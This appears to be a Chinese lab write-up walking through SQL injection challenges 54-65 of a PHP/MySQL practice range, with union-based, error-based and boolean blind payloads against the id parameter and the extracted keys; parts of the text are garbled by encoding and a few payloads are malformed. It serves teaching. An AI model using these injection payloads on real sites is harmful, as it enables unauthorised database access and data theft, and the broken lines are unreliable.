0x01 進(jìn)階挑戰(zhàn) 54-65Lesson-54該題為單引號get型注入,,利用方式包括聯(lián)合查詢、布爾盲注,、時(shí)間盲注 id=1' 目標(biāo)SQL語句如下: if ($_POST['reset']): 注意:該題對查詢次數(shù)進(jìn)行了限制,,我們需要在十次查詢以內(nèi)拿到 key,,由于報(bào)錯(cuò)不輸出 mysql 錯(cuò)誤信息,因此不能使用報(bào)錯(cuò)注入,。 使用聯(lián)合查詢判斷注入點(diǎn) id=1'--+ 判斷字段數(shù) id=1' order by 3--+ //返回正確 由此可判斷字段數(shù)為4,,通過 union select 查看回顯位置 id=-1' union select 1,2,3--+ 查詢表名 id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 查詢列名 id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='6r90s8mprd'--+ 查詢關(guān)鍵信息 id=-1' union select 1,2,group_concat(secret_OB1G) from 6r90s8mprd--+ 成功拿到 key 值:lqZTCWPcYokbGQP8WQdImRzj 需要注意的是每次表名和列名都會不同,及時(shí)修改可以查詢到具體信息 Lesson-55該題為單括號get型注入,,利用方式包括聯(lián)合查詢,、布爾盲注、時(shí)間盲注 id=1' 目標(biāo)SQL語句如下: if ($_POST['reset']): 注意:該題與Lesson54的利用方式相同,,只不過拼接方式由單引號變成了單括號,,錯(cuò)誤次數(shù)由10次變?yōu)?4次 使用聯(lián)合查詢判斷注入點(diǎn) id=1)--+ 判斷字段數(shù) id=1) order by 3--+ //返回正確 由此可判斷字段數(shù)為4,通過 union select 查看回顯位置 id=-1) union select 1,2,3--+ 查詢表名 id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 查詢列名 id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='3lr3dby63p'--+ 查詢關(guān)鍵信息 id=-1) union select 1,2,group_concat(secret_WSTL) from 3lr3dby63p--+ 成功拿到 key 值:omwh2fYfK0SrRVpuGRZai3X6 需要注意的是每次表名和列名都會不同,,及時(shí)修改可以查詢到具體信息 Lesson-56該題為單括號單引號get型注入,,利用方式包括聯(lián)合查詢、布爾盲注,、時(shí)間盲注 id=1' 目標(biāo)SQL語句如下: if ($_POST['reset']): 注意:該題與Lesson54的利用方式相同,,只不過拼接方式由單引號變成了單引號單括號,錯(cuò)誤次數(shù)由10次變?yōu)?4次 使用聯(lián)合查詢判斷注入點(diǎn) id=1')--+ 判斷字段數(shù) id=1') order by 3--+ //返回正確 由此可判斷字段數(shù)為4,,通過 union select 查看回顯位置 id=-1') union select 1,2,3--+ 查詢表名 id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 查詢列名 id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='iw16doek28'--+ 查詢關(guān)鍵信息 id=-1') union select 1,2,group_concat(secret_CY51) from iw16doek28--+ 成功拿到 key 值:uQlKpUNr7EbZHR4NfKausIEj 需要注意的是每次表名和列名都會不同,,及時(shí)修改可以查詢到具體信息 Lesson-57該題為雙引號get型注入,利用方式包括聯(lián)合查詢,、布爾盲注,、時(shí)間盲注 id=1' 目標(biāo)SQL語句如下: if ($_POST['reset']): 注意:該題與Lesson54的利用方式相同,只不過拼接方式由單引號變成了雙引號,,錯(cuò)誤次數(shù)由10次變?yōu)?4次 使用聯(lián)合查詢判斷注入點(diǎn) id=1'--+ 判斷字段數(shù) id=1' order by 3--+ //返回正確 由此可判斷字段數(shù)為4,,通過 union select 查看回顯位置 id=-1' union select 1,2,3--+ 查詢表名 id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 查詢列名 id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='mup8sgqrlo'--+ 查詢關(guān)鍵信息 id=-1' union select 1,2,group_concat(secret_EGMD) from mup8sgqrlo--+ 成功拿到 key 值:UFLHEB2MKHMJWM97fXAajgWB 需要注意的是每次表名和列名都會不同,及時(shí)修改可以查詢到具體信息 Lesson-58該題為單引號get型注入,,利用方式包括報(bào)錯(cuò)注入,、布爾盲注、時(shí)間盲注 id=1' 目標(biāo)SQL語句如下: if ($_POST['reset']): 注意:該題只輸出 使用報(bào)錯(cuò)注入判斷注入點(diǎn) id=1'--+ 查詢基礎(chǔ)信息 id=1' and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+ 查詢表名 id=1' and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+ 查詢列名 id=1' and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='me487dxhor' limit 2,1),0x7e,floor(rand(0)*2)))--+ 查詢關(guān)鍵信息 id=1' and (select count(*) from information_schema.tables group by concat((select secret_NMS4 from me487dxhor limit 0,1),0x7e,floor(rand(0)*2)))--+ 成功拿到 key 值:mx7XGPasBPeRQKfCQJ7LEwt1 需要注意的是每次表名和列名都會不同,,及時(shí)修改可以查詢到具體信息 Lesson-59該題為數(shù)字型get型注入,,利用方式包括報(bào)錯(cuò)注入、布爾盲注,、時(shí)間盲注 id=1' 目標(biāo)SQL語句如下: if ($_POST['reset']): setcookie('challenge', ' ', time() - 3600000); else: if ($_COOKIE['challenge']): $sessid=$_COOKIE['challenge']; else: $expire = time()+60*60*24*30; $hash = data($table,$col); setcookie('challenge', $hash, $expire); if ($_GET['id']): $id=$_GET['id']; next_tryy() >= ($times+1) $sql='SELECT * FROM security.users WHERE id=$id LIMIT 0,1'; if true: $unames=array('Dumb','Angelina','Dummy','secure','stupid','superman','batman','admin','admin1','admin2','admin3','dhakkan','admin4'); $pass = array_reverse($unames); 輸出查詢信息; else: print_r(mysql_error()); 注意:該題與Lesson58的利用方式相同,,只不過拼接方式由單引號轉(zhuǎn)為了數(shù)字 使用報(bào)錯(cuò)注入判斷注入點(diǎn) id=1--+ 查詢基礎(chǔ)信息 id=1 and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+ id=1 and (select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2)))--+ id=1 and (select count(*) from information_schema.tables group by concat((select databse()),0x7e,floor(rand(0)*2)))--+ 查詢表名 id=1 and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+ 查詢列名 id=1 and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='x1qk033kut' limit 2,1),0x7e,floor(rand(0)*2)))--+ 查詢關(guān)鍵信息 id=1 and (select count(*) from information_schema.tables group by concat((select secret_9MWT from x1qk033kut limit 0,1),0x7e,floor(rand(0)*2)))--+ 成功拿到 key 值:LtSOIKqX4EC5zCPwOzc6NFS7 需要注意的是每次表名和列名都會不同,及時(shí)修改可以查詢到具體信息 Lesson-60該題為單括號雙引號get型注入,,利用方式包括報(bào)錯(cuò)注入,、布爾盲注、時(shí)間盲注 id=1' 目標(biāo)SQL語句如下: if ($_POST['reset']): 注意:該題與Lesson58的利用方式相同,,只不過拼接方式由單引號轉(zhuǎn)為了單括號雙引號 使用報(bào)錯(cuò)注入判斷注入點(diǎn) id=1')--+ 查詢基礎(chǔ)信息 id=1') and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+ 查詢表名 id=1') and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+ 查詢列名 id=1') and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='bc8q88rlor' limit 2,1),0x7e,floor(rand(0)*2)))--+ 查詢關(guān)鍵信息 id=1') and (select count(*) from information_schema.tables group by concat((select secret_DAAH from bc8q88rlor limit 0,1),0x7e,floor(rand(0)*2)))--+ 成功拿到 key 值:O8c2mJWO68hDxl7cAPYNpElM 需要注意的是每次表名和列名都會不同,,及時(shí)修改可以查詢到具體信息 Lesson-61該題為雙括號單引號get型注入,利用方式包括報(bào)錯(cuò)注入,、布爾盲注,、時(shí)間盲注 id=1' 目標(biāo)SQL語句如下: if ($_POST['reset']): setcookie('challenge', ' ', time() - 3600000); else: if ($_COOKIE['challenge']): $sessid=$_COOKIE['challenge']; else: $expire = time()+60*60*24*30; $hash = data($table,$col); setcookie('challenge', $hash, $expire); if ($_GET['id']): $id=$_GET['id']; next_tryy() >= ($times+1) $sql='SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1'; if true: $unames=array('Dumb','Angelina','Dummy','secure','stupid','superman','batman','admin','admin1','admin2','admin3','dhakkan','admin4'); $pass = array_reverse($unames); 輸出查詢信息; else: print_r(mysql_error()); 注意:該題與Lesson58的利用方式相同,只不過拼接方式由單引號轉(zhuǎn)為了雙括號單引號 使用報(bào)錯(cuò)注入判斷注入點(diǎn) id=1'))--+ 查詢基礎(chǔ)信息 id=1')) and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+ id=1')) and (select count(*) from information_schema.tables group by concat((select version()),0x7e,floor(rand(0)*2)))--+ id=1')) and (select count(*) from information_schema.tables group by concat((select databse()),0x7e,floor(rand(0)*2)))--+ 查詢表名 id=1')) and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+ 查詢列名 id=1')) and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='upre7krqfg' limit 2,1),0x7e,floor(rand(0)*2)))--+ 查詢關(guān)鍵信息 id=1')) and (select count(*) from information_schema.tables group by concat((select secret_EX6I from upre7krqfg limit 0,1),0x7e,floor(rand(0)*2)))--+ 成功拿到 key 值:6lB7uSQQDKE96ZNcXEDiREHG 需要注意的是每次表名和列名都會不同,,及時(shí)修改可以查詢到具體信息 Lesson-62該題為單括號單引號get型注入,,利用方式包括布爾盲注、時(shí)間盲注 id=1' 目標(biāo)SQL語句如下: if ($_POST['reset']): 注意:該題與Lesson58的利用方式相同,,只不過拼接方式由單引號轉(zhuǎn)為了單括號單引號,,同時(shí)不再輸出數(shù)據(jù)庫報(bào)錯(cuò)信息,因此不能使用報(bào)錯(cuò)注入,,只能使用盲注 使用布爾盲注判斷注入點(diǎn) id=1')--+ 查詢長度 id=1') and length(user())>13--+ //返回正常界面 兩次結(jié)果不同,,由此判斷長度為 14 查詢字符 id=1') and substr(user(),1,1)='r'--+ //返回正常界面 id=1') and left(user(),1)='r'--+ //left()函數(shù) id=1') and rand(ascii(substr(user(),1,1))=114--+ //ASCII碼 id=1') and substr(user(),1,1)='s'--+ //返回不同界面 確定用戶名為 id=1') and substr(user(),1,14)='root@localhost'--+ 以此類推根據(jù)返回界面是否不同即可查詢數(shù)據(jù)庫名、表名,、列名等 id=1') and substr((select database()),1,14)='challenges'--+ 手工注入太過繁瑣,,最后還是需要依賴 sqlmap 等注入工具來拿到最后的 key Lesson-63該題為單引號get型注入,利用方式包括布爾盲注,、時(shí)間盲注 id=1' 目標(biāo)SQL語句如下: if ($_POST['reset']): 注意:該題與Lesson62的利用方式相同,,只不過拼接方式由單括號單引號轉(zhuǎn)為了單引號 使用布爾盲注判斷注入點(diǎn) id=1'--+ 查詢長度 id=1' and length(user())>13--+ //返回正常界面 兩次結(jié)果不同,由此判斷長度為 14 查詢字符 id=1' and substr(user(),1,1)='r'--+ //返回正常界面 id=1' and left(user(),1)='r'--+ //left()函數(shù) id=1' and rand(ascii(substr(user(),1,1))=114--+ //ASCII碼 id=1' and substr(user(),1,1)='s'--+ //返回不同界面 確定用戶名為 id=1' and substr(user(),1,14)='root@localhost'--+ 以此類推根據(jù)返回界面是否不同即可查詢數(shù)據(jù)庫名,、表名,、列名等 id=1' and substr((select database()),1,14)='challenges'--+ 手工注入太過繁瑣,最后還是需要依賴 sqlmap 等注入工具來拿到最后的 key Lesson-64該題為雙括號get型注入,,利用方式包括布爾盲注,、時(shí)間盲注 id=1' 目標(biāo)SQL語句如下: if ($_POST['reset']): 注意:該題與Lesson62的利用方式相同,只不過拼接方式由單括號單引號轉(zhuǎn)為了雙括號 使用布爾盲注判斷注入點(diǎn) id=1))--+ 查詢長度 id=1)) and length(user())>13--+ //返回正常界面 兩次結(jié)果不同,,由此判斷長度為 14 查詢字符 id=1)) and substr(user(),1,1)='r'--+ //返回正常界面 id=1)) and left(user(),1)='r'--+ //left()函數(shù) id=1)) and rand(ascii(substr(user(),1,1))=114--+ //ASCII碼 id=1)) and substr(user(),1,1)='s'--+ //返回不同界面 確定用戶名為 id=1)) and substr(user(),1,14)='root@localhost'--+ 以此類推根據(jù)返回界面是否不同即可查詢數(shù)據(jù)庫名,、表名、列名等 id=1)) and substr((select database()),1,14)='challenges'--+ 手工注入太過繁瑣,,最后還是需要依賴 sqlmap 等注入工具來拿到最后的 key Lesson-65該題為單括號雙引號get型注入,,利用方式包括布爾盲注、時(shí)間盲注 id=1' 目標(biāo)SQL語句如下: if ($_POST['reset']): 注意:該題與Lesson62的利用方式相同,,只不過拼接方式由單括號單引號轉(zhuǎn)為了單括號雙引號 使用布爾盲注判斷注入點(diǎn) id=1')--+ 查詢長度 id=1') and length(user())>13--+ //返回正常界面 兩次結(jié)果不同,,由此判斷長度為 14 查詢字符 id=1') and substr(user(),1,1)='r'--+ //返回正常界面 id=1') and left(user(),1)='r'--+ //left()函數(shù) id=1') and rand(ascii(substr(user(),1,1))=114--+ //ASCII碼 id=1') and substr(user(),1,1)='s'--+ //返回不同界面 確定用戶名為 id=1') and substr(user(),1,14)='root@localhost'--+ 以此類推根據(jù)返回界面是否不同即可查詢數(shù)據(jù)庫名、表名,、列名等 id=1') and substr((select database()),1,14)='challenges'--+ 手工注入太過繁瑣,,最后還是需要依賴 sqlmap 等注入工具來拿到最后的 key 0x02 總結(jié)該靶場是學(xué)習(xí) SQL 注入的好途徑,,刷完全部題目后面對 SQL 注入的了解有很大幫助,整個(gè)靶場以 MySQL + PHP 搭建環(huán)境為主,,根據(jù)不同環(huán)境切換了 Windows,、Linux 以及 Tomcat 代理。如果想要測試目標(biāo)點(diǎn)是否存在 SQL 注入,,我們應(yīng)該從請求方式,、注入點(diǎn)閉合方式、請求頭部,、后端SQL語句以及注入方式等方面進(jìn)行考慮,,確定了這些后再想方設(shè)法繞過站點(diǎn)中的 WAF、編碼限制,,其實(shí)這就是手工注入的魅力,,當(dāng)然會使用 sqlmap 也是一件好事,有了手工+自動(dòng)兩種方式的結(jié)合,,在面對一般的 SQL 注入問題都可以迎刃而解,。至此,sql注入靶場完結(jié),。 0x03 知識星球
|
|